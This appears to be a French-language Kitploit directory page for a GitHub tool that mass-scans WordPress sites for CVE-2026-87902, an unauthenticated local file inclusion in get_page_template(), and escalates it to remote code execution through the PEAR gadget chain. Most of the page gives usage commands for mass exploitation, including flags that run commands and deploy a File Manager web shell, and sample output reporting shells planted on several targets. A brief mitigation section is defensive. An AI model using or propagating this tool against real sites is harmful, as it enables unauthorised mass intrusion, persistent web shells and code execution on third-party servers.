Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-87902 — Scanner de masse et exploit en Python pour CVE-2026-87902, une LFI non authentifiée du cœur de WordPress dans get_page_template() escaladée en RCE via la chaîne de gadgets PEAR et un shell File Manager. | Kitploit
Outils/GitHubGitHub/hackfutsecroot/cve-2026-87902
Scanners de VulnérabilitésGénération de PayloadsExploitationExploitation d'Applications WebPost-ExploitationSécurité WebTests d'IntrusionOutil d'Accès à Distance
GitHubhackfutsecroot/cve-2026-87902

CVE-2026-87902

Scanner de masse et exploit en Python pour CVE-2026-87902, une LFI non authentifiée du cœur de WordPress dans get_page_template() escaladée en RCE via la chaîne de gadgets PEAR et un shell File Manager.

Voir le dépôtSite web
3il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🎯 CVE-2026-87902 — LFI → RCE du cœur de WordPress



🔍 Aperçu · ⚡ Démarrage rapide · 🎯 Utilisation · 📊 Sortie · 📞 Contact


🔍 Aperçu

CVE-2026-87902 est une vulnérabilité critique d'inclusion locale de fichier (LFI) non authentifiée dans le cœur de WordPress, qui conduit à une exécution de code à distance (RCE) via la chaîne de gadgets PEAR.

La vulnérabilité réside dans wp-includes/template.php:get_page_template(), qui utilise la variable de requête publique pagename (lue depuis $_POST) pour construire un nom de template sans la faire passer par validate_file(). Comme locate_template() n'effectue qu'un file_exists(), un véritable répertoire page-* à l'intérieur du thème actif permet un path traversal complet.

🎯 Chaîne d'attaque

┌─────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│  Anonymous POST │───▶│   LFI via        │───▶│  PEAR Gadget     │
│   page_id +     │    │   page-templates/│    │  config-create   │
│   pagename      │    │   ../../../      │    │  writes shell    │
└─────────────────┘    └──────────────────┘    └──────────────────┘
                                                        │
                                                        ▼
                                              ┌──────────────────┐
                                              │  💀 RCE +        │
                                              │  File Manager    │
                                              └──────────────────┘

⚠️ Versions affectées

ProduitVulnérableCorrigé
WordPress Core4.7.0 → 7.1.17.1.2+
Gravité🔴 CRITIQUE—
CVSS 4.09.8—
Authentification❌ Aucune requise—

⚡ Démarrage rapide

📦 Installation

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 Premier lancement

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 Utilisation

📋 Modes disponibles

Mode Commande Description
🔍 Check python main.py -l targets.txt --check Détection LFI non destructive
💥 LFI python main.py -l targets.txt Confirmer la LFI avec l'oracle OPML
⚡ RCE python main.py -l targets.txt --rce --command "id" Exécuter des commandes via PEAR
📁 Shell python main.py -l targets.txt --rce --shell Déployer le gestionnaire de fichiers

🔧 Options de ligne de commande

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

💡 Exemples

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Sortie

Après une exécution réussie, les fichiers suivants sont générés :

FichierContenu
📄 results.txtJournal complet du scan
🎯 vulnerable.txtCibles avec LFI confirmée
💀 rce.txtCibles avec RCE réussie
📁 shells.txtURL du gestionnaire de fichiers

🖥️ Exemple de sortie console

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

🛡️ Atténuation

Si vous êtes administrateur système :

  1. Mettez à jour WordPress vers 7.1.2 ou une version ultérieure
  2. Appliquez les backports pour votre branche :
    • 6.8.10, 7.0.6, 7.1.2
  3. Règle WAF : Bloquez les requêtes dont le paramètre pagename contient ../ ou %2e%2e
  4. Désactivez register_argc_argv dans php.ini (bloque la chaîne PEAR)
  5. Supprimez pearcmd.php si PEAR n'est pas nécessaire
; php.ini
register_argc_argv = Off

📞 Contact

🌐 Connectez-vous avec nous

Télécharger l’outil